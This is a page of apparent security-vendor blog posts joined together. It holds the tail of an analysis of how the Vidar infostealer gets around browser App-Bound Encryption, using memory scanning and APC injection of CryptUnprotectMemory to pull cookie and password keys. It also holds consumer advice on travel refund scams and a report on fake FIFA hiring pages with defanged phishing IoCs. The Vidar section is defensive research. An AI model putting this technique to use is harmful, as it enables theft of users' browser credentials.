At this point, it should be clear how the scan pattern maps onto the searched structure. The 32-byte match covers the <code>std::string</code> tag <code>v20\x00</code> and the beginning of the <code>Key</code> object up to and including <code>algorithm_</code>. The pointer at offset +32 from the start of the match then lands precisely on <code>key_.begin</code>, the first member of <code>std::vector&lt;uint8_t&gt;</code> that holds the encrypted <code>v20_master_key</code>.&nbsp;Matches from all threads are collected into a shared buffer and subjected to a majority-voting scheme: candidates consisting mostly of zeroes are discarded, the rest are pairwise-compared, and each is scored by the number of identical copies found. This voting is performed independently for each browser process, producing one best candidate per process.&nbsp;<h2>Decrypting the v20_master_key via APC Injections&nbsp;</h2>For each browser process that produced a match, Vidar now holds a candidate address pointing to a potential encrypted <code>v20_master_key</code>. However, as already noted, since the key is protected with <code>CryptProtectMemory</code> using <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code>, it can only be decrypted by invoking <code>CryptUnprotectMemory</code> from within the browser process itself. Vidar solves this by injecting an Asynchronous Procedure Call (APC) into the live browser process.&nbsp;Vidar supports two APC injection methods, selected based on whether ESET or Bitdefender is detected on the system. If either of these products is present, Vidar uses the first method, which it refers to as “classic” (based on decrypted strings) – it creates a suspended thread in the target browser via <code>CreateRemoteThread</code> (with <code>NtTestAlert</code> as the thread start address and the <code>CREATE_SUSPENDED</code> flag), queues an APC using <code>NtQueueApcThread</code>, resumes the thread, and then waits for it to complete via <code>WaitForSingleObject</code> with a randomized timeout. When the thread resumes, it calls <code>NtTestAlert</code>, which flushes the APC queue and executes the injected routine.&nbsp;

If neither product is detected, it uses the “special” method – it finds an existing thread in the target browser using a combination of <code>CreateToolhelp32Snapshot</code> and <code>Thread32First/Thread32Next</code>, opens it via <code>NtOpenThread</code>, and calls <code>NtQueueApcThreadEx2</code> with the <code>QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC</code> flag. Unlike regular APCs, special user APCs execute immediately. Therefore, the target thread does not need to be in an alertable wait state.&nbsp;

In both cases, the APC routine to be executed is <code>CryptUnprotectMemory</code>, called with the following three arguments: the address of the encrypted <code>v20_master_key</code> candidate, its size (32 bytes), and <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> for the <code>flags</code> parameter.&nbsp;&nbsp;Since <code>CryptUnprotectMemory</code> decrypts the data in place, once the APC executes, the key is decrypted directly in the live browser's memory. To read it, Vidar creates a second fork of the browser process and reads the key from the same address using <code>NtReadVirtualMemory</code>. It then compares the result against a snapshot of the encrypted key taken from the first fork before the APC call – if the data is unchanged, decryption failed, and Vidar moves on to the next browser process’s candidate.&nbsp;If the data differs, Vidar uses the same second fork to perform an additional verification: it scans the forked process’s memory for the byte sequence <code>v20</code> and, treating each match as a potentially ABE-encrypted entry (cookie, password), attempts AES-256-GCM decryption with the key candidate using <code>BCryptDecrypt</code> (successful GCM tag verification confirms that the key is correct).&nbsp;Whenever the data has changed (indicating that decryption of the key took place), Vidar re-encrypts the key in the browser’s memory by injecting another APC with <code>CryptProtectMemory</code> as the routine, preserving the browser’s state. If no candidate produced a successful decryption (i.e., the data remained unchanged after every APC call), Vidar takes a more aggressive approach: it terminates all browser instances, restarts the browser, and repeats the entire scan-decrypt-verify cycle.&nbsp;By abusing APC injections instead of the more traditional approach of injecting code via <code>NtWriteVirtualMemory</code> that performs the decryption, Vidar trades one suspicious behavior for another. APC injections are arguably less common and may thus slip past some detection systems, though they are still well-known techniques monitored by AV and EDR solutions. But that is the nature of ABE bypasses – each has its own advantages and disadvantages, and that’s exactly why infostealers keep inventing new ones. &nbsp;<h2>Indicator of Compromise (IoC)&nbsp;</h2>459daa809751e73f60fbbe4384a7d1653c36bb06945e4eb3635270924241100a (Vidar 2.1)&nbsp;

A Technical Walkthrough of How Vidar Defeats Application-Bound Encryption

Inside Vidar’s ABE Bypass: From Memory Scanning to APC Injections

You have a summer flight booked. You have seen the headlines about jet fuel shortages, cancelled routes and higher travel costs. Then a text message arrives: your flight has been affected, and you need to click a link to confirm your refund or rebook before the offer expires.&nbsp;That message feels plausible because the situation around it is real. In April, <a href="https://www.iata.org/en/pressroom/2026-releases/2026-04-17-01/" target="_blank" rel="noreferrer noopener">IATA warned</a> that Europe could start seeing flight cancellations by the end of May if jet fuel shortages materialized. Airlines and governments have since been trying to reassure travelers, while also publishing guidance on passenger rights, refunds and re-routing.&nbsp;&nbsp;That is exactly the kind of confusion scammers like. They do not need to cause the disruption, they only need to arrive at the right moment, with the right brand logo and the right sense of urgency.&nbsp;<h4>Why travel disruption works so well as a scam hook&nbsp;</h4>Most scam messages fail because they arrive out of context. A random refund email from an airline you never use is easy to ignore. A refund message from the airline you are flying with next week, during a period of public travel disruption, is different.&nbsp;The scammer’s job is to make you think: “This could be real.”&nbsp;That can happen in several ways. You might receive a fake cancellation email that links to a refund form. You might search for an airline’s customer service number and land on a fake support page. You might post publicly on social media asking an airline for help, then receive a reply from an account that looks official. Or you might get a WhatsApp message that knows your hotel name, travel dates or booking reference.&nbsp;Each version uses the same pressure point: you are worried about losing money, losing your flight or being stranded.&nbsp;Criminals are already using disruption this way. In March, <a href="https://www.theguardian.com/money/2026/mar/15/travel-scam-airline-accounts-fake-refunds-iran-war-flight-disruption" target="_blank" rel="noreferrer noopener">The Guardian reported</a> that fake airline support accounts were targeting travelers affected by Middle East flight disruption. Some victims were looking for help or refunds, then received replies from accounts pretending to represent airlines. The scam moved into direct messages, where victims were asked for details and sent links that led to money being taken instead of refunded.&nbsp;&nbsp;The jet fuel story gives scammers another pretext. A message can claim that your flight was cancelled, your fare changed, your fuel surcharge failed, or your refund must be claimed within a few hours. None of those claims needs to be true to be effective.&nbsp;<h4>The scam may start before the message arrives&nbsp;</h4>A fake travel message becomes much harder to spot when it includes real information.&nbsp;This is the idea behind <a href="https://www.gendigital.com/blog/insights/research/reservation-hijack-scam" target="_blank" rel="noreferrer noopener">Reservation Hijack scams</a>, a form of targeted phishing where cybercriminals use real booking details to make a message look legitimate. In some cases, attackers may use information exposed through breaches or compromised travel systems. In other cases, they collect details from emails, social media posts, previous leaks or fake customer service interactions. Gen has previously described Reservation Hijack scams as scams that use real hotel booking details to make fraudulent payment or verification requests feel authentic.&nbsp;&nbsp;That distinction matters. A scam message does not need your credit card number to fool you. Knowing your name, your destination, your travel dates and your booking platform may be enough.&nbsp;<h4>What these scams can look like&nbsp;</h4>A travel disruption scam usually does not begin with a strange offer. It begins with something boring and administrative. That is part of the trick.&nbsp;You may see messages like:&nbsp;“Your flight has been cancelled due to fuel supply issues. Claim your refund here.”&nbsp;“Your rebooking is pending. Confirm passenger details within two hours.”&nbsp;“Additional airport tax or fuel surcharge is required to keep your booking.”&nbsp;“Your hotel reservation will be cancelled unless payment is verified.”&nbsp;“Due to high call volume, please continue this request on WhatsApp.”&nbsp;The exact wording changes, but the structure is familiar. There is a problem, a deadline and a link. The message may also move you away from the official channel into SMS, WhatsApp, Telegram, direct messages or a phone call. Once that happens, the scammer controls the conversation.&nbsp;There is another detail worth watching: some messages do not ask for money immediately. They start by asking for your booking reference, last name, phone number or one-time password. That can still be dangerous. Those details can help scammers access a booking, impersonate you to customer support, reset an account or make the next message more convincing.&nbsp;<h4>Your real passenger rights can be used against you&nbsp;</h4>If an airline cancels your flight, you may have rights to a refund, re-routing or assistance, depending on where you are travelling and the rules that apply. The European Commission said passengers affected by cancellations continue to have rights to reimbursement, re-routing or return, airport assistance and compensation for last-minute cancellations in relevant circumstances. It also said airlines cannot retroactively add fuel surcharges to already published final ticket prices.&nbsp;&nbsp;That information is useful for travelers, but it is also useful for scammers.&nbsp;A fake refund message becomes more believable when people already know refunds are possible. A fake rebooking link becomes more believable when airlines are genuinely changing schedules. A fake “fuel surcharge” demand becomes more dangerous when fuel prices are in the news, even though legitimate retroactive charges may not be allowed in many cases.&nbsp;This is why the safest route is not to judge the message only by whether the story sounds plausible. During travel disruption, many scam stories will sound plausible. Judge the channel instead.&nbsp;<h4>How to check before you click&nbsp;</h4>Start from the airline or booking platform’s official app or website. Do not use the link in the message. Open the app yourself, type the website address yourself, or use the contact details listed on your original booking confirmation.&nbsp;Check whether the same cancellation, refund or payment request appears inside your account. If the message is real, the airline or hotel should be able to confirm it through an official channel.&nbsp;Be careful with social media support. If an account replies to your public complaint, check whether it is linked from the airline’s official website. Look at the handle carefully. Fake support accounts often copy logos and names, but have small differences in spelling, low follower counts or recently created profiles. The Guardian reported that fraudsters often scan social media for passengers trying to contact legitimate airline accounts and reply to them first, which makes the scam harder to spot.&nbsp;&nbsp;Do not share one-time passwords, payment card details or login credentials with anyone who contacts you unexpectedly. A real airline or hotel does not need your banking OTP to send you a refund.&nbsp;Be especially suspicious of pressure. “You have 30 minutes to claim your refund” is not customer service. It is a tactic.&nbsp;<h4>What to do if you already clicked&nbsp;</h4>If you entered payment details, contact your bank or card provider immediately. Ask whether the transaction can be blocked or reversed, and request a new card if needed.&nbsp;If you shared login details for an airline, hotel or booking platform, change the password from the official site or app. Use a unique password, not one you use elsewhere. Turn on two-factor authentication where it is available.&nbsp;If you shared a one-time password or authentication code, assume the account may have been accessed. Check your booking details, payment methods and recent account activity.&nbsp;Report the scam to the airline, hotel or booking platform being impersonated. If the scam came through social media, report the account as impersonation. If money was taken, report it to the relevant fraud authority in your country.&nbsp;<h4>The real lesson for summer travel&nbsp;</h4>Travel disruption changes how people behave. They search for support numbers in a hurry. They post publicly because customer service queues are long. They accept strange instructions because they are worried about losing a flight or refund.&nbsp;Scammers build around that behavior.&nbsp;The safest assumption is simple: if a message about your flight, hotel or refund creates urgency and gives you a link, pause. Go back to the official source. A real cancellation will still be there when you check through the airline or booking platform. A scammer needs you to act before you do.&nbsp;

Travel disruption gives scammers the one thing they need most: a believable reason to rush you

Your flight was cancelled. Is the refund message real? 

A fake job interview page is easier to trust than a fake ticket shop.In samples reviewed by Gen threat researchers, scammers used branded hiring pages that looked like ordinary recruitment flows: a company logo, a recruiter profile, a 30-minute meeting, and a button to continue with Google or Facebook. There was no attachment to open and no software to install. The credential theft attempt sat inside a step many job applicants already expect: signing in to schedule a call.FIFA is an obvious lure ahead of the 2026 World Cup. On May 22, ESET reported fake FIFA-themed websites that copied ticket and merchandise flows to steal money and personal data. Our researchers later found another FIFA-themed domain, hxxps://fifa-mg[.]shop, which followed a naming pattern not mentioned in that report. Domains like these can be short-lived, often appearing for hours or days before they are blocked, abandoned, or taken down.Our researchers also found a different kind of FIFA lure: hxxps://fifahiring[.]com, a fake hiring page that encouraged users to schedule a call with an alleged FIFA recruiter. When a user tried to register with a personal Gmail address, the page asked for a business email instead. The page was steering victims toward credentials with more value: accounts that could provide access to a company environment.

<h4>The FIFA hiring page did not point to FIFA</h4>The fake page looked believable at first glance.

It used FIFA branding, presented a recruiter identity, and copied parts of the experience users see on legitimate recruiting and scheduling platforms. The recruiter’s name and photo appeared to match a real LinkedIn profile, which made the page feel more credible. For publication, we should keep that person’s identity redacted.The domain did not match FIFA’s real hiring infrastructure. FIFA’s legitimate careers pages are jobs.fifa.com and fifa.pinpointhq.com. The fake page used neither. It also loaded the favicon from the real FIFA recruitment site hosted at pinpointhq.com, giving the page a small visual cue borrowed from the legitimate service.Other signals pointed in the same direction. The domain and certificate were newly created, from May 23. The site used commodity hosting infrastructure, including Vercel and Render, rather than a corporate environment. Those signs are not enough on their own, but they fit the rest of the evidence.The login flow was the clearest part. Credentials were posted to:fifeq2026eqbackeq[.]onrender[.]com/api/loginThe Google sign-in prompt was not a real Google authentication window. It was rendered inside the page itself. The visible controls and links did nothing, and the page did not send the user into a genuine Google sign-in flow. According to the analysis, the only Google asset loaded was the favicon, apparently to make the fake window look familiar.A page can look like it opened a Google login without ever handing control to Google.Researchers also observed hxxps://careers-fifahiring[.]com, which later became inactive, and hxxps://fifajobs[.]com, which showed the same content and was indexed by Google.&nbsp;<h4>The recruitment lure went beyond FIFA</h4>The FIFA page was one version of a wider recruitment phishing pattern. The brand can change. The flow stays familiar: recruiter profile, meeting prompt, business email, fake sign-in.Researchers found similar fake hiring pages abusing other major brands, including Heineken, Hilton, Coca-Cola, Netflix, PepsiCo, Delta,&nbsp;and Spotify. In the Heineken case, the page appeared to use the identity of someone who, according to LinkedIn, really works as a recruiter at the company.

Additional hunting found two other recruitment-themed kits:hxxps://aquent-talent-jobs[.]com hxxps://hays-talent-opportunities[.]comThe Hays-themed version targeted Facebook credentials instead of Google credentials. Researchers assessed that the Aquent and Hays pages shared code, although they differed from the earlier FIFA examples.

This flexibility makes the campaign harder to frame as a single World Cup scam. FIFA provides the timely hook, but the mechanism is recruitment phishing. A scammer can swap the logo, recruiter name, and sign-in provider while keeping the same basic path to the victim’s credentials.<h4>Why fake recruitment pages work</h4>Recruitment gives attackers a clean excuse to ask for things that might otherwise raise suspicion.A candidate expects to click a scheduling link. They expect a recruiter profile. They expect a calendar prompt. In some cases, they may also expect to use a work email, especially for corporate, contractor, or partner-facing roles.The fake login window turns that ordinary flow into credential theft. Users are used to “Continue with Google” and “Continue with Facebook” buttons, but the button itself proves nothing. A genuine authentication flow should take the user to the provider’s domain and controls. A fake page can draw a convincing copy while keeping the victim inside the attacker-controlled site.The business email prompt is also a warning sign. A page that rejects a personal email and asks for a work address may be trying to raise the value of the stolen account.<h4>What job seekers should check before signing in</h4>Start from the company’s official careers page, not from a link in a message, ad, search result, or forwarded post. For FIFA, that means checking jobs.fifa.com or fifa.pinpointhq.com, not trusting a domain because it contains “fifa,” “career,” “hiring,” or “jobs.”Look closely at the domain before entering credentials. Scam pages often add plausible hiring words around a brand name: career, talent, jobs, hiring, portal, or connect. A polished page on a new domain is still a new domain.Treat the sign-in step as the real checkpoint. If a page offers Google or Facebook login, check whether the flow actually opens a real provider-controlled authentication page. A fake window embedded inside the original site, broken controls, inactive links, or a provider logo used only as decoration should stop the process.Use security software that includes web and phishing protection. These tools can block known malicious pages before they load, which is especially useful when scam domains look polished, appear in search results, or are shared through otherwise legitimate channels.<h4>What companies can do</h4>Recruitment pages are public by design, which makes them easy to copy.Security teams should monitor for newly registered domains combining their brand with hiring-related terms. They should also watch for pages that reuse favicons, recruiter photos, job descriptions, and calendar-booking language from legitimate hiring flows.HR and recruiting teams should make the official hiring path easy to verify. Candidates should not have to guess whether a domain is legitimate. A clear careers page, consistent recruiter communication, and warnings about unofficial scheduling links can remove some of the ambiguity attackers rely on.<h4>Conclusion</h4>The fake FIFA hiring page worked because it did not feel unusual. It looked like a normal step in a hiring process.Attackers do not need to invent new behavior when they can copy one people already trust. A branded scheduling page, a recruiter profile, and a familiar sign-in button can be enough to move a victim from interest to credential entry.The decision point is the login. Before entering a work email or password, check the domain, check where the authentication flow really goes, and verify the role through the company’s official careers site. Security software with web and phishing protection adds another layer, especially against short-lived scam pages that may only stay online for hours or days.IOCs:hxxps://fifahiring[.]com hxxps://careers-fifahiring[.]com hxxps://fifajobs[.]com hxxps://fifa-mg[.]shop hxxps://heineken-careers[.]com hxxps://aquent-talent-jobs[.]com hxxps://hays-talent-opportunities[.]com fifeq2026eqbackeq[.]onrender[.]com/api/login

Research

Is Your Home Internet Feeding the AI Data Race?

Free AI, at the Price of Your Prompt

Gray Rabbits and the Tale of a One-Click Backdoor

Infostealers Have Found a New Target: Your AI Agent

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

WordlistLoader Delivering Amatera via ClearFake Campaigns

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

The phishing link that died on purpose

Fake invoices are moving from inboxes to shopping apps

Inside Vidar’s ABE Bypass: From Memory Scanning to APC Injections

Your flight was cancelled. Is the refund message real?

Fake hiring pages abuse FIFA and other major brands to steal work credentials

 WordlistLoader Delivering Amatera via ClearFake Campaigns